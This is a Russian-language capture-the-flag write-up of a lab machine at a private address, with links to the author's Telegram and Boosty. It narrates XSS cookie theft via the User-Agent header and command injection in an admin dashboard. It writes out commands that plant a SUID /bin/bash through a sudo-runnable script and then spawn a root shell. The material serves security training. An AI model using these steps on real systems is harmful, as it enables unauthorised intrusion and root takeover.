Telegram / Boosty / Видео
Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.
Также на https://boosty.to/kiberdruzhinnik/posts/c2296237-5463-4551-938f-532176664941 я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.
Обзор сервисов
Начнем решение со сканирования портов и обнаружим только два порта:
Open 10.129.158.5:22
Open 10.129.158.5:5000
Веб
Сервис встречает нас сообщением о том, что сайт не запущен, а также формой для вопросов.
Видим, что на главной странице ставится кука is_admin
.
Ищем закрытый URL с помощью gobuster
:
/support (Status: 200) [Size: 2363]
/dashboard (Status: 500) [Size: 265]
Пробуем отправлять всякие разные символы для XSS в формы и получаем такое:
Это позволяет нам украсть сессию администратора с помощью XSS, проэксплуатировав HTTP-заголовок User-Agent.
Практически сразу XSS отрабатывает на администраторе, отдавая нам значения.
Переходим на /dashboard
и ставим себе украденную куку.
Попадаем в администраторский дашборд, в котором можно внедрять команды операционной системы, что позволяет нам получить доступ к системе.
Флаг пользователя
Повышение привилегий
Без пароля пользователь может запускать /usr/bin/syscheck
.
Посмотрим внутрь этого файла и поймем, что достаточно создать файл initdb.sh
с полезной нагрузкой для повышения привилегий.
$ echo "#!/bin/sh" > initdb.sh
$ echo "chmod u+s /bin/bash" >> initdb.sh
$ chmod +x initdb.sh
$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 2.0G
System load average: 0.00, 0.01, 0.03
Database service is not running. Starting it...
$ /bin/bash -p
$ id
uid=1000(dvir) gid=1000(dvir) euid=0(root) groups=1000(dvir),100(users)